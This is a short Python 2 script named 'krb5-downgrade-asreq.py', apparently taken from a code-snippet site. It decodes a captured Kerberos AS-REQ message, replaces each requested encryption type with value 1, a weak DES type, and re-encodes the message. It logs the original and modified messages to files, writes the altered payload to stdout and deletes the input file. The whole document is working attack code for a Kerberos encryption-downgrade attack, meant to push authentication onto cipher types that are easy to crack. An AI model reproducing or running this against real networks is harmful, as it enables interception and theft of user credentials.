krb5-downgrade-asreq.py 文件源码

def main(argv):
    try:
        infile  = argv[0]
    except:
        print "usage: ./krb5-downgrade-asreq.py <infile>"
        sys.exit(0)

    fin  = open(infile, 'r')

    data = fin.read()
    data_len = len(data)
    fin.close()

    krb_preauth_req, temp = decoder.decode(data[4:])

    for i in range(0, len(krb_preauth_req[3][7])):
        krb_preauth_req[3][7][i] = univ.Integer(1)

    payload_out = data[:4]
    payload_out += encoder.encode(krb_preauth_req)

    # log what we're doing
    fout = open(infile +".in", "w")
    fout.write(data)
    fout.close()

    fout = open(infile +".out", "w")
    fout.write(payload_out)
    fout.close()

    sys.stdout.write(payload_out)
    os.remove(infile)